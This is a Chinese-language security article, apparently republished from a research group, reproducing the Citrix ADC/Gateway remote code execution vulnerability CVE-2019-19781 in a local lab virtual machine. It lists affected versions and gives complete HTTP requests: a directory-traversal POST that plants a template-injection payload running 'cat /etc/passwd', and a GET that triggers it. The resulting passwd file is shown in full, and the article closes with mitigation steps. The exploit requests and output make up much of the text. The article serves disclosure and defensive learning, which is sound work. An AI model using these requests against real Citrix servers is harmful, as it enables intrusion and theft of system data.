CVE-2019-19781: Citrix ADC远程代码执行漏洞本地复现
The following article is from 雷神众测 Author 千山飞暮雪
No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
漏洞产生原因
Citrix ADC(NetScalers)中的目录穿越错误,这个错误会调用perl脚本,perl脚本用于将XML格式的文件附加到受害计算机,因此产生远程执行代码。
注:Citrix NetScaler ADC应用交付控制器和Citrix NetScaler网关
No.3
漏洞利用过程
1.pl文件未对NSC_USER参数传入进行过滤
2.触发目录穿越
3.在模板目录的XML文件写入命令
4.模板引擎分析后执行命令
No.4
漏洞影响范围
Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0
No.5
漏洞复现
下载 Citrix Gateway VPX for ESX Build 13.0-47.22
https://www.citrix.com/downloads/citrix-gateway/
安装NSVPX-ESX
运行.ovf文件后,会导入.vmdk文件并启动虚拟机
桥接模式 配置
IP地址:192.168.2.170
子网掩码:255.255.255.0
网关地址:192.169.2.255
然后选择4确认
访问 http://192.168.2.170
默认用户和密码登录:nsroot/nsroot
利用目录穿越写入命令语句到newbm.pl文件中
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Host: 192.168.2.170
User-Agent: 1
Connection: close
NSC_USER: ../../../netscaler/portal/templates/rab3it
NSC_NONCE: nsroot
Content-Length: 97
url=http://example.com&title=rab3it&desc=[% template.new('BLOCK' = 'print `cat /etc/passwd`') %]
HTTP/1.1 200 OK
Date: Thu, 16 Jan 2020 06:25:07 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Last-Modified: Thu, 16 Jan 2020 06:25:07 GMT
ETag: W/"87-59c4286dda300"
Accept-Ranges: bytes
Content-Length: 135
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<HTML>
<BODY>
<SCRIPT language=javascript type=text/javascript>
//parent.window.ns_reload();
window.close();
</SCRIPT>
</BODY>
</HTML>
GET方式访问写入的xml文件
GET /vpn/../vpns/portal/rab3it.xml HTTP/1.1
Host: 192.168.2.170
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
NSC_USER: nsroot
NSC_NONCE: nsroot
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
HTTP/1.1 200 OK
Date: Thu, 16 Jan 2020 06:39:17 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-control: no-cache
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Expires: Thu, 16 Jan 2020 06:39:17 GMT
Content-Length: 2255
# $FreeBSD: release/8.4.0/etc/master.passwd 243948 2012-12-06 11:54:25Z rwatson $
#
root:*:0:0:Charlie &:/root:/usr/bin/bash
nsroot:*:0:0:Netscaler Root:/root:/netscaler/nssh
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
nsmonitor:*:65532:65534:Netscaler Monitoring user:/var/nstmp/monitors:/usr/sbin/nologin
undef error - Attempt to bless into a reference at /usr/local/lib/perl5/site_perl/5.14.2/mach/Template/Document.pm line 92.
No.6
修复方案
Citrix ADC 名称为NetScaler ADC,同时受影响为Citrix Gateway,产品名称为 Netscaler Gateway
临时解决方案:
实施Citrix支持文章https://support.citrix.com/article/CTX267027中描述的缓解措施
将已识别的恶意XML文件复制到外部设备,并从以下目录中删除原始恶意文件
/ netscaler / portal / templates
/ var / tmp / netscaler / portal / templates验证所有创建为以“ nobody”用户身份运行的cron作业。默认情况下,不应以“ nobody”用户身份运行计划的cron作业。
清除或重置经过身份验证的会话cookie。
重新启动Citrix服务器以断开与恶意行为者的任何活动连接。
重置Citrix服务器上所有本地帐户的密码。
对XML文件和其他司法鉴定进行分析,以识别进一步的缓解措施。
注:本文由E安全编译报道,转载请注原文地址 https://www.easyaq.com
推荐阅读:
▼点击“阅读原文” 查看更多精彩内容
喜欢记得打赏小E哦!